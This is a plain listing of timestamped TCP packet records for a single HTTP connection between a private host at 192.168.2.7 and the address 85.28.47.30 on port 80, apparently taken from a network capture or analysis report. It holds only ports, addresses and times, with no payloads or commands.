Jul 5, 2024 06:23:02.543231964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543247938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543256044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543261051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543272018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543277979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543282986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543293953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543304920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543304920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543313026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543319941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543328047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543329954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543338060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543344975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543349981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543350935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543365002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543370008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543370962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543370962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543375969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543384075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543426991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543426991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543804884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543899059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543904066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543905020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543915033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543920040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543926001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543934107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.543953896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543981075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.543981075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544012070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544018030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544023037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544034004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544040918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544044971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544051886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544087887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544087887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544121027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544295073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544301033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544312000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544317961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544322968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544328928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544336081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544341087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544352055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544358015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544369936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544414043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544414043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544455051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544461966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544471979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544476986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544487953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544496059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544501066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544506073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544507027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544512033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544523954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544523954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544531107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544537067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544542074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544548035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544548035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544603109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544603109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544619083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544625998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544636011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544641972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544646978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544651985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544661999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544667006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544672966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544682026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544687986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544693947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544692993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544692993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544701099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544713974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.544725895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544758081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.544758081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545202971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545278072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545289993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545296907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545322895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545329094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545341015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545365095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545365095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545376062 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545377970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545384884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545394897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545417070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545422077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545428038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545433044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545444965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545463085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545463085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545511007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545692921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545768023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545770884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545778036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545810938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.545825958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.545862913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.550503016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550508976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550519943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550553083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.550635099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550642014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550647974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550653934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.550688028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.550688028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.550724983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.558892012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.558964968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.558971882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.558970928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.558983088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.558989048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.558994055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559021950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.559022903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559036970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559046984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559052944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559058905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559063911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559077978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559083939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.559091091 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.559091091 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.559129953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.567965984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.567971945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.567981958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.567986965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.567991972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.567996979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568005085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568042040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568049908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568061113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568072081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568077087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568077087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568083048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568089008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568100929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568105936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568131924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568157911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568202972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568209887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568214893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568221092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568229914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568236113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568247080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568249941 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568263054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568274975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568275928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568280935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568286896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568300009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568300009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568308115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568320036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568325043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568332911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568342924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568342924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568350077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568355083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568370104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.568377018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568377018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568408012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.568408012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.569689989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569705963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569715977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569763899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.569765091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569780111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569786072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569797039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569808006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569813013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569818974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.569835901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.569859982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.569880962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.569964886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569969893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569981098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569986105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569992065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.569996119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570008039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570013046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570025921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570025921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570031881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570044041 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570044994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570053101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570074081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570074081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570101976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570123911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570185900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570261955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570267916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570274115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570277929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570283890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570291996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570316076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570333958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570606947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570622921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570626974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570653915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570679903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570686102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570692062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570703030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570708990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570734978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570780993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570799112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570804119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570815086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570820093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570831060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570837975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570843935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570848942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570858002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.570873022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570873022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.570885897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:03.126140118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:03.131630898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:03.730057001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:03.730369091 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:03.817774057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:03.822644949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:04.406538010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:04.406651020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:05.693372965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:05.698343992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.286202908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.286272049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.585357904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.590162039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.767015934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.767026901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.767039061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.767050028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.767060995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.767143965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.767143965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.773009062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773056030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773068905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773076057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773080111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773133039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.773149014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.773471117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773482084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773492098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.773531914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.773562908 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.849221945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849232912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849241972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849286079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849297047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849308014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849318027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849328995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849339962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849345922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849354982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849370003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.849445105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.849445105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.849445105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.849445105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.855276108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855287075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855297089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855309010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855319977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855417967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.855417967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.855889082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855921030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.855932951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.856013060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.856014967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.856024027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.856034994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.856059074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.856112003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.865597010 CEST	80	49699	85.28.47.30	192.168.2.7
